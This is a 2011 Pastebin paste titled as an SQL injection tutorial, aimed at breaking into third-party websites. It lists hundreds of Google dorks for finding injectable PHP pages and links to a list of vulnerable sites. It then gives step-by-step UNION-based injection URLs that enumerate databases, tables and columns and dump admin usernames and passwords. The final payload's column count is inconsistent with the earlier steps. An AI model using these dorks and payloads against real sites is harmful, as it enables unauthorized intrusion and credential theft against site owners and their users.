Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

SQLi tut

By: a guest on Sep 28th, 2011  |  syntax: SQL  |  size: 13.30 KB  |  views: 2,116  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. The Ultimate SQLi Tutorial
  2.  
  3.  
  4. Introduction:
  5.  
  6. Sqli (aka SQL Injection OR Structured Query LANGUAGE Injection) IS the FIRST step IN the entry TO exploiting OR hacking websites. It IS easily done AND it IS a great starting off point. Unfortunately most sqli tutorials suck, so that IS why I am writing this one. Sqli IS just basically injecting queries INTO a DATABASE OR USING queries TO GET authorization bypass AS an admin.
  7.  
  8. Finding Sites TO Inject:
  9.  
  10. Finding SQLI Vulnerable sits IS extremely easy ALL you need TO do IS SOME googling. The FIRST thing you need TO do are find SOME dorks.
  11.  
  12. SQLI DORKS:
  13. Code:
  14. inurl:trainers.php?id=
  15. inurl:buy.php?category=
  16. inurl:article.php?ID=
  17. inurl:play_old.php?id=
  18. inurl:declaration_more.php?decl_id=
  19. inurl:pageid=
  20. inurl:games.php?id=
  21. inurl:page.php?file=
  22. inurl:newsDetail.php?id=
  23. inurl:gallery.php?id=
  24. inurl:article.php?id=
  25. inurl:SHOW.php?id=
  26. inurl:staff_id=
  27. inurl:newsitem.php?num=
  28. inurl:readnews.php?id=
  29. inurl:top10.php?cat=
  30. inurl:historialeer.php?num=
  31. inurl:reagir.php?num=
  32. inurl:Stray-Questions-VIEW.php?num=
  33. inurl:forum_bds.php?num=
  34. inurl:game.php?id=
  35. inurl:view_product.php?id=
  36. inurl:newsone.php?id=
  37. inurl:sw_comment.php?id=
  38. inurl:news.php?id=
  39. inurl:avd_start.php?avd=
  40. inurl:event.php?id=
  41. inurl:product-item.php?id=
  42. inurl:SQL.php?id=
  43. inurl:news_view.php?id=
  44. inurl:select_biblio.php?id=
  45. inurl:humor.php?id=
  46. inurl:aboutbook.php?id=
  47. inurl:ogl_inet.php?ogl_id=
  48. inurl:fiche_spectacle.php?id=
  49. inurl:communique_detail.php?id=
  50. inurl:sem.php3?id=
  51. inurl:kategorie.php4?id=
  52. inurl:news.php?id=
  53. inurl:INDEX.php?id=
  54. inurl:faq2.php?id=
  55. inurl:show_an.php?id=
  56. inurl:preview.php?id=
  57. inurl:loadpsb.php?id=
  58. inurl:opinions.php?id=
  59. inurl:spr.php?id=
  60. inurl:pages.php?id=
  61. inurl:announce.php?id=
  62. inurl:clanek.php4?id=
  63. inurl:participant.php?id=
  64. inurl:download.php?id=
  65. inurl:main.php?id=
  66. inurl:review.php?id=
  67. inurl:chappies.php?id=
  68. inurl:READ.php?id=
  69. inurl:prod_detail.php?id=
  70. inurl:viewphoto.php?id=
  71. inurl:article.php?id=
  72. inurl:person.php?id=
  73. inurl:productinfo.php?id=
  74. inurl:showimg.php?id=
  75. inurl:VIEW.php?id=
  76. inurl:website.php?id=
  77. inurl:hosting_info.php?id=
  78. inurl:gallery.php?id=
  79. inurl:rub.php?idr=
  80. inurl:view_faq.php?id=
  81. inurl:artikelinfo.php?id=
  82. inurl:detail.php?ID=
  83. inurl:INDEX.php?=
  84. inurl:profile_view.php?id=
  85. inurl:category.php?id=
  86. inurl:publications.php?id=
  87. inurl:fellows.php?id=
  88. inurl:downloads_info.php?id=
  89. inurl:prod_info.php?id=
  90. inurl:shop.php?do=part&id=
  91. inurl:productinfo.php?id=
  92. inurl:collectionitem.php?id=
  93. inurl:band_info.php?id=
  94. inurl:product.php?id=
  95. inurl:releases.php?id=
  96. inurl:ray.php?id=
  97. inurl:produit.php?id=
  98. inurl:pop.php?id=
  99. inurl:shopping.php?id=
  100. inurl:productdetail.php?id=
  101. inurl:post.php?id=
  102. inurl:viewshowdetail.php?id=
  103. inurl:clubpage.php?id=
  104. inurl:memberInfo.php?id=
  105. inurl:SECTION.php?id=
  106. inurl:theme.php?id=
  107. inurl:page.php?id=
  108. inurl:shredder-categories.php?id=
  109. inurl:tradeCategory.php?id=
  110. inurl:product_ranges_view.php?ID=
  111. inurl:shop_category.php?id=
  112. inurl:transcript.php?id=
  113. inurl:channel_id=
  114. inurl:item_id=
  115. inurl:newsid=
  116. inurl:trainers.php?id=
  117. inurl:news-FULL.php?id=
  118. inurl:news_display.php?getid=
  119. inurl:index2.php?OPTION=
  120. inurl:readnews.php?id=
  121. inurl:top10.php?cat=
  122. inurl:newsone.php?id=
  123. inurl:event.php?id=
  124. inurl:product-item.php?id=
  125. inurl:SQL.php?id=
  126. inurl:aboutbook.php?id=
  127. inurl:preview.php?id=
  128. inurl:loadpsb.php?id=
  129. inurl:pages.php?id=
  130. inurl:material.php?id=
  131. inurl:clanek.php4?id=
  132. inurl:announce.php?id=
  133. inurl:chappies.php?id=
  134. inurl:READ.php?id=
  135. inurl:viewapp.php?id=
  136. inurl:viewphoto.php?id=
  137. inurl:rub.php?idr=
  138. inurl:galeri_info.php?l=
  139. inurl:review.php?id=
  140. inurl:iniziativa.php?IN=
  141. inurl:curriculum.php?id=
  142. inurl:labels.php?id=
  143. inurl:story.php?id=
  144. inurl:look.php?ID=
  145. inurl:newsone.php?id=
  146. inurl:aboutbook.php?id=
  147. inurl:material.php?id=
  148. inurl:opinions.php?id=
  149. inurl:announce.php?id=
  150. inurl:rub.php?idr=
  151. inurl:galeri_info.php?l=
  152. inurl:tekst.php?idt=
  153. inurl:newscat.php?id=
  154. inurl:newsticker_info.php?idn=
  155. inurl:rubrika.php?idr=
  156. inurl:rubp.php?idr=
  157. inurl:offer.php?idf=
  158. inurl:art.php?idm=
  159. inurl:title.php?id=
  160. buy.php?category=
  161. article.php?ID=
  162. play_old.php?id=
  163. declaration_more.php?decl_id=
  164. Pageid=
  165. games.php?id=
  166. page.php?file=
  167. newsDetail.php?id=
  168. gallery.php?id=
  169. article.php?id=
  170. play_old.php?id=
  171. SHOW.php?id=
  172. staff_id=
  173. newsitem.php?num=
  174. readnews.php?id=
  175. top10.php?cat=
  176. historialeer.php?num=
  177. reagir.php?num=
  178. forum_bds.php?num=
  179. game.php?id=
  180. view_product.php?id=
  181. newsone.php?id=
  182. sw_comment.php?id=
  183. news.php?id=
  184. avd_start.php?avd=
  185. event.php?id=
  186. product-item.php?id=
  187. SQL.php?id=
  188. news_view.php?id=
  189. select_biblio.php?id=
  190. humor.php?id=
  191. aboutbook.php?id=
  192. fiche_spectacle.php?id=
  193. communique_detail.php?id=
  194. sem.php3?id=
  195. kategorie.php4?id=
  196. faq2.php?id=
  197. show_an.php?id=
  198. preview.php?id=
  199. loadpsb.php?id=
  200. opinions.php?id=
  201. spr.php?id=
  202. pages.php?id=
  203. announce.php?id=
  204. clanek.php4?id=
  205. participant.php?id=
  206. download.php?id=
  207. main.php?id=
  208. review.php?id=
  209. chappies.php?id=
  210. READ.php?id=
  211. prod_detail.php?id=
  212. viewphoto.php?id=
  213. article.php?id=
  214. play_old.php?id=
  215. declaration_more.php?decl_id=
  216. category.php?id=
  217. publications.php?id=
  218. fellows.php?id=
  219. downloads_info.php?id=
  220. prod_info.php?id=
  221. shop.php?do=part&id=
  222. Productinfo.php?id=
  223. website.php?id=
  224. Productinfo.php?id=
  225. showimg.php?id=
  226. VIEW.php?id=
  227. rub.php?idr=
  228. view_faq.php?id=
  229. artikelinfo.php?id=
  230. detail.php?ID=
  231. collectionitem.php?id=
  232. band_info.php?id=
  233. product.php?id=
  234. releases.php?id=
  235. ray.php?id=
  236. produit.php?id=
  237. pop.php?id=
  238. shopping.php?id=
  239. productdetail.php?id=
  240. post.php?id=
  241. viewshowdetail.php?id=
  242. clubpage.php?id=
  243. memberInfo.php?id=
  244. SECTION.php?id=
  245. theme.php?id=
  246. page.php?id=
  247. shredder-categories.php?id=
  248. tradeCategory.php?id=
  249. shop_category.php?id=
  250. transcript.php?id=
  251. channel_id=
  252. item_id=
  253. newsid=
  254. trainers.php?id=
  255. buy.php?category=
  256. article.php?ID=
  257. play_old.php?id=
  258. iniziativa.php?IN=
  259. detail_new.php?id=
  260. tekst.php?idt=
  261. newscat.php?id=
  262. newsticker_info.php?idn=
  263. rubrika.php?idr=
  264. rubp.php?idr=
  265. offer.php?idf=
  266. hotel.php?id=
  267. art.php?idm=
  268. title.php?id=
  269. look.php?ID=
  270. story.php?id=
  271. labels.php?id=
  272. review.php?id=
  273. chappies.php?id=
  274. news-FULL.php?id=
  275. news_display.php?getid=
  276. index2.php?OPTION=
  277. ages.php?id=
  278. "id=" & intext:"Warning: mysql_fetch_assoc()
  279. "id=" & intext:"Warning: mysql_fetch_array()
  280. "id=" & intext:"Warning: mysql_num_rows()
  281. "id=" & intext:"Warning: session_start()
  282. "id=" & intext:"Warning: getimagesize()
  283. "id=" & intext:"Warning: UNKNOWN()
  284. "id=" & intext:"Warning: pg_exec()
  285. "id=" & intext:"Warning: array_merge()
  286. "id=" & intext:"Warning: mysql_result()
  287. "id=" & intext:"Warning: mysql_num_rows()
  288. "id=" & intext:"Warning: mysql_query()
  289. "id=" & intext:"Warning: filesize()
  290. "id=" & intext:"Warning: require()
  291.  
  292. Pick one of those dorks and add inurl: before it
  293. (If they do not already have it) and then copy and paste
  294. it into google. Pick one of the sites off google and go to it.
  295. For example the url of the page you are on may look like this
  296.  
  297. Code:
  298. http://www.example.com/index.php?id=3
  299.  
  300. To check that it is vulnerable all you have to do is
  301. put a ' at the end of the url. So now your url should
  302. Look like this
  303. Code:
  304. http://www.example.com/index.php?id=3'
  305.  
  306. Press enter and you get some kind of error. The errors will vary
  307. but it should look something like this
  308.  
  309. http://i982.photobucket.com/albums/ae308/blink1337/1.png
  310. Image exceeds set limits. Click to view full size image
  311.  
  312.  
  313. If an error happends that site is vulerable!
  314.  
  315. Also If you are lazy you can check
  316. my list of vulnerable sites here
  317.  
  318. http://allianceforums.co.cc/forums/thread-1249.html
  319.  
  320. Getting Number of Columns
  321.  
  322. After you find your vulnerable site the first step you need to take is
  323. to find the number of columns. The easiest way to do this is
  324. use the statement "ORDER BY". All you have to do is put ORDER BY (number)--
  325. at the end of your url. So it should look like this.
  326.  
  327. Code:
  328. http://www.example.com/index.php?id=3 ORDER BY (number)--
  329.  
  330. You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
  331.  
  332. For example
  333.  
  334. Code:
  335. http://www.example.com/index.php?id=3 order by 1--  
  336. http://www.example.com/index.php?id=3 order by 2--
  337. http://www.example.com/index.php?id=3 order by 3--
  338. http://www.example.com/index.php?id=3 order by 4--
  339. http://www.example.com/index.php?id=3 order by 5--
  340. http://www.example.com/index.php?id=3 order by 6--
  341. http://www.example.com/index.php?id=3 order by 7--
  342. http://www.example.com/index.php?id=3 order by 8--
  343.  
  344. Lets say on order by 8-- you get an error page. This means that the website has 7 columns because
  345. it will give you errors on anything over 7. If you have a bad memory you should open notepad and
  346. write the # of columns you find.
  347.  
  348. Finding Acsessable Columns
  349.  
  350. Now that we have the number of columns we need to get the column numbers that we can grab information from.
  351. We do this by by using the "UNION" "SELECT" and Number of columns. You put them together in your
  352. url like this
  353. Code:
  354. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  355.  
  356. For the end part of the url, (1,2,3,4,5,6,7) You put the number of columns
  357. you found in the first step. Since I found that the site I was testing had 7
  358. columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.
  359. After you do that you should get something like this...
  360.  
  361.  
  362. The page should look a bit fucked up and there should be 2 numbers on the page.
  363. These two numbers are the colum numbers we can get information from. We will replace them with statements later on so
  364. write them down or remeber them.
  365.  
  366. Finding MySQL Database Version
  367. The reasons you need the database name is to see weather or not the website is worth your time
  368. because any msql database under 5 you will have to blindly guess the table and column names.
  369. If you are a begginer and you find that the database is below 5 I urge you to find
  370. a different site.
  371.  
  372. Now we take one of the numbers that we found from the step above and replace it with @@version
  373. For Example, before our url looked like this
  374. Code:
  375. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  376.  
  377. Now since we will replace the 1 with @@version
  378.  
  379. Code:
  380. http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--
  381. Press enter and now the page should display the database number.
  382.  
  383.  
  384. Now the number that we had in the first step will be replaced with the database number. As it shows above
  385. The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on
  386. this site.
  387.  
  388. Finding Database Names
  389.  
  390. Next we are going to inject the website to find the database names. We do this by replacing @@version
  391. with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
  392. So now our url should look like this
  393.  
  394. Code:
  395. http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
  396.  
  397.  
  398. It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with
  399. concat(database()) and delete + from+information_schema.schemata So the url should now look like this
  400.  
  401. Code:
  402. http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
  403. It will display which database which is in use. You may want to write it down.
  404.  
  405.  
  406. Finding Table Names
  407.  
  408.  
  409. To get table names of current database you need to replace concat(database()) with group_concat(table_name)
  410. and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
  411. + signs from the union select. Now your url should look like this
  412.  
  413. Code:
  414. http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--
  415.  
  416. The page should now show the Table names. You may want to write them down.
  417.  
  418. http://i982.photobucket.com/albums/ae308/blink1337/untitled-1.png
  419. Image exceeds set limits. Click to view full size image
  420.  
  421.  
  422.  
  423. Finding Column Names
  424.  
  425. This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.
  426. So your url should look like.
  427.  
  428. Code:
  429. http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
  430.  
  431. This should give you the column names. You may want to write them down.
  432.  
  433. Lets say they gave us back the cloumn names
  434.  
  435. admin_username
  436. admin_password
  437.  
  438. Getting Information
  439.  
  440. Now we can have the database name, table names, and colomn names we can put them together and
  441. pull information from them. Do to this we need to put the following in our url.
  442. Code:
  443. http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
  444.  
  445. Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information
  446. for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
  447. With the database name and the table name the column names where in. After all this your url should look something
  448. like this.
  449.  
  450. Code:
  451. http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
  452.  
  453. Now you should get usernames and passwords for the admin or what ever information you wanted to get.
  454.